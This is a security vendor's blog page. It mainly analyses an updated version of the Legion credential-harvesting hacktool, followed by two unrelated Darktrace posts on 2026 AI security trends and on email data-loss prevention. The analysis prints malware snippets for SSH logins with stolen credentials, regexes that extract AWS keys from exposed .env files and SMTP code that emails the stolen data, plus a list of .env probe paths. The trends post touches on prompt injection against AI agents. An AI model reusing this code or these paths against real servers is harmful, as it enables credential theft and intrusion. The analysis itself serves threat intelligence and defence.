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May 24, 2023

Updates to Legion: A Cloud Credential Harvester and SMTP Hijacker

Cado Labs (now part of Darktrace) discovered an updated version of the Legion hacktool. This new iteration has enhanced capabilities, including SSH abuse and exploiting additional AWS services like DynamoDB, CloudWatch, and AWS Owl, by harvesting credentials from misconfigured web servers.
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Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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24
May 2023

Introduction: A cloud credential harvester and SMTP Hijacker

Cado Security Labs (now part of Darktrace) discovered and reported [1] on an emerging cloud-focused hacktool, designed to harvest credentials from misconfigured web servers and leverage these credentials for email abuse. The tool was named ‘Legion’ by its developers and was distributed and marketed in various public groups and channels within the Telegram messaging service.  

In early 2023, Cado researchers encountered what is believed to be an updated version of this commodity malware, with some additional functionality of interest to cloud security professionals.

SSH abuse

In the sample [2] of Legion previously analyzed by Cado, the developers included code within a class named ‘legion’ to parse a list of exfiltrated database credentials and extract username and password pairs. The function then attempted to use these credentials in combination with a matching host value to log in to the host via SSH - assuming that these credentials were being reused across services.  

To achieve this within Python, the Paramiko library (a Python implementation of the SSHv2 protocol) was used. However, in the original sample of Legion, the import of Paramiko was commented out, making the code leveraging it redundant. In Legion’s most recent update, it appears that this functionality has been enabled.

if db_user and db_pass: 
	connected = 0 
	ssh = paramiko.SSHClient() 
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
	try: 
		ssh.connect(host, 22, db_user, db_pass, timeout=3) 
		fp = open('Results/!Vps.txt', 'a+') 
		build = str(host)+'|'+str(db_user)+'|'+str(db_pass)+'\n' 
		remover = str(build).replace('\r', '') 
		fp.write(remover + '\n\n') 
		fp.close() 
		connected += 1 
	except: 
		pass 
	finally: 
		if ssh: 
			ssh.close() 

Python snippet of Legion’s SSH connection code

Exploiting additional cloud services

Legion’s credential gathering capabilities were discussed at length in Cado’s previous blog on the topic. Essentially, the malware hunts for environment variable files in misconfigured web servers running PHP frameworks such as Laravel. Legion attempts to access these .env files by enumerating the target server with a list of hardcoded paths in which these environment variable files typically reside. If these paths are publicly accessible, due to misconfigurations, the files are saved and a series of regular expressions are run over their contents.  

From the searches performed on the environment variable files, it’s easy to determine the services the malware attempts to retrieve credentials for. In the updated version of Legion, the malware can be seen searching for credentials specific to the following services/technologies:

  • DynamoDB
  • Amazon CloudWatch
  • AWS Owl

For CloudWatch specifically, the malware searches for the environment variable CLOUDWATCH_LOG_KEY. This variable name appears in the documentation for public Laravel projects, including a project [3] for handling CloudWatch logging in Laravel. This fits with Legion’s capabilities, as the tool’s credential harvesting feature targets Laravel apps.

elif "CLOUDWATCH_LOG_KEY" in str(text): 
	if "CLOUDWATCH_LOG_KEY=" in str(text): 
		method = '/.env' 
		try: 
		   aws_key = reg("\nCLOUDWATCH_LOG_KEY=(.*?)\n", text)[0] 
		except: 
			aws_key = '' 
		try: 
			aws_sec = reg("\nCLOUDWATCH_LOG_SECRET=(.*?)\n", text)[0] 
		except: 
			aws_sec = '' 
		try: 
			asu = legion().get_aws_region(text) 
			if asu: 
				aws_reg = asu 
			else: 
				aws_reg = '' 
		except: 
			aws_reg = '' 

Parsing .env files for the value of CLOUDWATCH_LOG_KEY

elif "AWSOWL_ACCESS_KEY_ID" in str(text): 
	if "AWSOWL_ACCESS_KEY_ID=" in str(text): 
		method = '/.env' 
		try: 
		   aws_key = reg("\nAWSOWL_ACCESS_KEY_ID=(.*?)\n", text)[0] 
		except: 
			aws_key = '' 
		try: 
			aws_sec = reg("\nAWSOWL_SECRET_ACCESS_KEY=(.*?)\n", tex 
		except: 
			aws_sec = '' 
		try: 
			asu = legion().get_aws_region(text) 
			if asu: 
				aws_reg = asu 
			else: 
				aws_reg = '' 
		except: 
			aws_reg = '' 

Parsing .env files for the value of AWSOWL_ACCESS_KEY_ID and AWS_OWL_SECRET_ACCESS_KEY

Miscellaneous updates

Aside from general refactoring, the Legion developers have made some additional updates to the hacktool.

One such update is a change to the subject line of test emails sent by the malware, which now include a reference to “King Forza”. The Forza name was also used in a YouTube channel linked by Cado researchers to the operators of the Legion malware.

smtp_server = str(mailhost) 
login = str(mailuser.replace('"', ''))  # paste your login generated by Mailtrap 
password = str(mailpass.replace('"', '')) # paste your password generated by Mailtrap 
receiver_email = emailnow 
message = MIMEMultipart('alternative') 
message['Subject'] = f'King Forza SMTP | {mailhost} ' 
message['From'] = sender_email 
message['To'] = receiver_email 
text = '        ' 
html = f" <h3>King Forza smtps! - SMTP Data for you!</h3><br>{mailhost} <br><br><h5>Mailer King with from</h5><br>==================<br><i>{mailhost}:{mailport}:{mailuser}:{mailpass}:{mailfrom}:ssl::::0:</i><br>==================<br><br><h5>Mailer king Normal</h5><br>==================<br>{mailhost}:{mailport}:{mailuser}:{mailpass}::ssl::::0:<br>==================<br><br>        " 
part1 = MIMEText(text, 'plain') 
part2 = MIMEText(html, 'html') 
message.attach(part1) 
message.attach(part2) 

Snippet showing updated subject line, including Forza name

Another update included adding additional paths to enumerate for the existence of .env files. The new paths can be seen below:

/lib/.env

/lab/.env

/cronlab/.env

/cron/.env

/core/app/.env

/core/Datavase/.env (sic)

/database/.env

/config/.env

/apps/.env

/uploads/.env

/sitemaps/.env

/saas/.env

/api/.env

/psnlink/.env

/exapi/.env

/site/.env

/web/.env

/en/.env

/tools/.env

/v1/.env

/v2/.env

/administrator/.env

Conclusion

Legion is an actively developed hacktool, specifically designed to exploit vulnerable web applications in an attempt to harvest credentials. Legion focuses primarily on retrieving credentials for SMTP and SMS abuse. However, this recent update demonstrates a widening of scope, with new capabilities such as the ability to compromise SSH servers and retrieve additional AWS-specific credentials from Laravel web applications. It’s clear that the developer’s targeting of cloud services is advancing with each iteration.

Detection and prevention advice remains consistent with Cado’s previous blog on this malware family. Misconfigurations in web applications are still the primary method used by Legion to retrieve credentials. Therefore, it’s recommended that developers and administrators of web applications regularly review access to resources within the applications themselves, and seek alternatives to storing secrets in environment files.  

Indicators of compromise (IoCs)

Filename - SHA256

og.py - 6f059c2abf8517af136503ed921015c0cd8859398ece7d0174ea5bf1e06c9ada

User agents

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36

References

  1. www.darktrace.com/blog/legion-an-aws-credential-harvester-and-smtp-hijacker  
  1. https://www.virustotal.com/gui/file/fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a/detection
  1. https://github.com/pagevamp/laravel-cloudwatch-logs/tree/master

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

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December 22, 2025

The Year Ahead: AI Cybersecurity Trends to Watch in 2026

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Introduction: 2026 cyber trends

Each year, we ask some of our experts to step back from the day-to-day pace of incidents, vulnerabilities, and headlines to reflect on the forces reshaping the threat landscape. The goal is simple:  to identify and share the trends we believe will matter most in the year ahead, based on the real-world challenges our customers are facing, the technology and issues our R&D teams are exploring, and our observations of how both attackers and defenders are adapting.  

In 2025, we saw generative AI and early agentic systems moving from limited pilots into more widespread adoption across enterprises. Generative AI tools became embedded in SaaS products and enterprise workflows we rely on every day, AI agents gained more access to data and systems, and we saw glimpses of how threat actors can manipulate commercial AI models for attacks. At the same time, expanding cloud and SaaS ecosystems and the increasing use of automation continued to stretch traditional security assumptions.

Looking ahead to 2026, we’re already seeing the security of AI models, agents, and the identities that power them becoming a key point of tension – and opportunity -- for both attackers and defenders. Long-standing challenges and risks such as identity, trust, data integrity, and human decision-making will not disappear, but AI and automation will increase the speed and scale of the cyber risk.  

Here's what a few of our experts believe are the trends that will shape this next phase of cybersecurity, and the realities organizations should prepare for.  

Agentic AI is the next big insider risk

In 2026, organizations may experience their first large-scale security incidents driven by agentic AI behaving in unintended ways—not necessarily due to malicious intent, but because of how easily agents can be influenced. AI agents are designed to be helpful, lack judgment, and operate without understanding context or consequence. This makes them highly efficient—and highly pliable. Unlike human insiders, agentic systems do not need to be socially engineered, coerced, or bribed. They only need to be prompted creatively, misinterpret legitimate prompts, or be vulnerable to indirect prompt injection. Without strong controls around access, scope, and behavior, agents may over-share data, misroute communications, or take actions that introduce real business risk. Securing AI adoption will increasingly depend on treating agents as first-class identities—monitored, constrained, and evaluated based on behavior, not intent.

-- Nicole Carignan, SVP of Security & AI Strategy

Prompt Injection moves from theory to front-page breach

We’ll see the first major story of an indirect prompt injection attack against companies adopting AI either through an accessible chatbot or an agentic system ingesting a hidden prompt. In practice, this may result in unauthorized data exposure or unintended malicious behavior by AI systems, such as over-sharing information, misrouting communications, or acting outside their intended scope. Recent attention on this risk—particularly in the context of AI-powered browsers and additional safety layers being introduced to guide agent behavior—highlights a growing industry awareness of the challenge.  

-- Collin Chapleau, Senior Director of Security & AI Strategy

Humans are even more outpaced, but not broken

When it comes to cyber, people aren’t failing; the system is moving faster than they can. Attackers exploit the gap between human judgment and machine-speed operations. The rise of deepfakes and emotion-driven scams that we’ve seen in the last few years reduce our ability to spot the familiar human cues we’ve been taught to look out for. Fraud now spans social platforms, encrypted chat, and instant payments in minutes. Expecting humans to be the last line of defense is unrealistic.

Defense must assume human fallibility and design accordingly. Automated provenance checks, cryptographic signatures, and dual-channel verification should precede human judgment. Training still matters, but it cannot close the gap alone. In the year ahead, we need to see more of a focus on partnership: systems that absorb risk so humans make decisions in context, not under pressure.

-- Margaret Cunningham, VP of Security & AI Strategy

AI removes the attacker bottleneck—smaller organizations feel the impact

One factor that is currently preventing more companies from breaches is a bottleneck on the attacker side: there’s not enough human hacker capital. The number of human hands on a keyboard is a rate-determining factor in the threat landscape. Further advancements of AI and automation will continue to open that bottleneck. We are already seeing that. The ostrich approach of hoping that one’s own company is too obscure to be noticed by attackers will no longer work as attacker capacity increases.  

-- Max Heinemeyer, Global Field CISO

SaaS platforms become the preferred supply chain target

Attackers have learned a simple lesson: compromising SaaS platforms can have big payouts. As a result, we’ll see more targeting of commercial off-the-shelf SaaS providers, which are often highly trusted and deeply integrated into business environments. Some of these attacks may involve software with unfamiliar brand names, but their downstream impact will be significant. In 2026, expect more breaches where attackers leverage valid credentials, APIs, or misconfigurations to bypass traditional defenses entirely.

-- Nathaniel Jones, VP of Security & AI Strategy

Increased commercialization of generative AI and AI assistants in cyber attacks

One trend we’re watching closely for 2026 is the commercialization of AI-assisted cybercrime. For example, cybercrime prompt playbooks sold on the dark web—essentially copy-and-paste frameworks that show attackers how to misuse or jailbreak AI models. It’s an evolution of what we saw in 2025, where AI lowered the barrier to entry. In 2026, those techniques become productized, scalable, and much easier to reuse.  

-- Toby Lewis, Global Head of Threat Analysis

Conclusion

Taken together, these trends underscore that the core challenges of cybersecurity are not changing dramatically -- identity, trust, data, and human decision-making still sit at the core of most incidents. What is changing quickly is the environment in which these challenges play out. AI and automation are accelerating everything: how quickly attackers can scale, how widely risk is distributed, and how easily unintended behavior can create real impact. And as technology like cloud services and SaaS platforms become even more deeply integrated into businesses, the potential attack surface continues to expand.  

Predictions are not guarantees. But the patterns emerging today suggest that 2026 will be a year where securing AI becomes inseparable from securing the business itself. The organizations that prepare now—by understanding how AI is used, how it behaves, and how it can be misused—will be best positioned to adopt these technologies with confidence in the year ahead.

Learn more about how to secure AI adoption in the enterprise without compromise by registering to join our live launch webinar on February 3, 2026.  

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December 22, 2025

Why Organizations are Moving to Label-free, Behavioral DLP for Outbound Email

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Why outbound email DLP needs reinventing

In 2025, the global average cost of a data breach fell slightly — but remains substantial at USD 4.44 million (IBM Cost of a Data Breach Report 2025). The headline figure hides a painful reality: many of these breaches stem not from sophisticated hacks, but from simple human error: mis-sent emails, accidental forwarding, or replying with the wrong attachment. Because outbound email is a common channel for sensitive data leaving an organization, the risk posed by everyday mistakes is enormous.

In 2025, 53% of data breaches involved customer PII, making it the most commonly compromised asset (IBM Cost of a Data Breach Report 2025). This makes “protection at the moment of send” essential. A single unintended disclosure can trigger compliance violations, regulatory scrutiny, and erosion of customer trust –consequences that are disproportionate to the marginal human errors that cause them.

Traditional DLP has long attempted to mitigate these impacts, but it relies heavily on perfect labelling and rigid pattern-matching. In reality, data loss rarely presents itself as a neat, well-structured pattern waiting to be caught – it looks like everyday communication, just slightly out of context.

How data loss actually happens

Most data loss comes from frustratingly familiar scenarios. A mistyped name in auto-complete sends sensitive data to the wrong “Alex.” A user forwards a document to a personal Gmail account “just this once.” Someone shares an attachment with a new or unknown correspondent without realizing how sensitive it is.

Traditional, content-centric DLP rarely catches these moments. Labels are missing or wrong. Regexes break the moment the data shifts formats. And static rules can’t interpret the context that actually matters – the sender-recipient relationship, the communication history, or whether this behavior is typical for the user.

It’s the everyday mistakes that hurt the most. The classic example: the Friday 5:58 p.m. mis-send, when auto-complete selects Martin, a former contractor, instead of Marta in Finance.

What traditional DLP approaches offer (and where gaps remain)

Most email DLP today follows two patterns, each useful but incomplete.

  • Policy- and label-centric DLP works when labels are correct — but content is often unlabeled or mislabeled, and maintaining classification adds friction. Gaps appear exactly where users move fastest
  • Rule and signature-based approaches catch known patterns but miss nuance: human error, new workflows, and “unknown unknowns” that don’t match a rule

The takeaway: Protection must combine content + behavior + explainability at send time, without depending on perfect labels.

Your technology primer: The three pillars that make outbound DLP effective

1) Label-free (vs. data classification)

Protects all content, not just what’s labeled. Label-free analysis removes classification overhead and closes gaps from missing or incorrect tags. By evaluating content and context at send time, it also catches misdelivery and other payload-free errors.

  • No labeling burden; no regex/rule maintenance
  • Works when tags are missing, wrong, or stale
  • Detects misdirected sends even when labels look right

2) Behavioral (vs. rules, signatures, threat intelligence)

Understands user behavior, not just static patterns. Behavioral analysis learns what’s normal for each person, surfacing human error and subtle exfiltration that rules can’t. It also incorporates account signals and inbound intel, extending across email and Teams.

  • Flags risk without predefined rules or IOCs
  • Catches misdelivery, unusual contacts, personal forwards, odd timing/volume
  • Blends identity and inbound context across channels

3) Proprietary DSLM (vs. generic LLM)

Optimized for precise, fast, explainable on-send decisions. A DSLM understands email/DLP semantics, avoids generative risks, and stays auditable and privacy-controlled, delivering intelligence reliably without slowing mail flow.

  • Low-latency, on-send enforcement
  • Non-generative for predictable, explainable outcomes
  • Governed model with strong privacy and auditability

The Darktrace approach to DLP

Darktrace / EMAIL – DLP stops misdelivery and sensitive data loss at send time using hold/notify/justify/release actions. It blends behavioral insight with content understanding across 35+ PII categories, protecting both labeled and unlabeled data. Every action is paired with clear explainability: AI narratives show exactly why an email was flagged, supporting analysts and helping end-users learn. Deployment aligns cleanly with existing SOC workflows through mail-flow connectors and optional Microsoft Purview label ingestion, without forcing duplicate policy-building.

Deployment is simple: Microsoft 365 routes outbound mail to Darktrace for real-time, inline decisions without regex or rule-heavy setup.

A buyer’s checklist for DLP solutions

When choosing your DLP solution, you want to be sure that it can deliver precise, explainable protection at the moment it matters – on send – without operational drag.  

To finish, we’ve compiled a handy list of questions you can ask before choosing an outbound DLP solution:

  • Can it operate label free when tags are missing or wrong? 
  • Does it truly learn per user behavior (no shortcuts)? 
  • Is there a domain specific model behind the content understanding (not a generic LLM)? 
  • Does it explain decisions to both analysts and end users? 
  • Will it integrate with your label program and SOC workflows rather than duplicate them? 

For a deep dive into Darktrace’s DLP solution, check out the full solution brief.

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About the author
Carlos Gray
Senior Product Marketing Manager, Email
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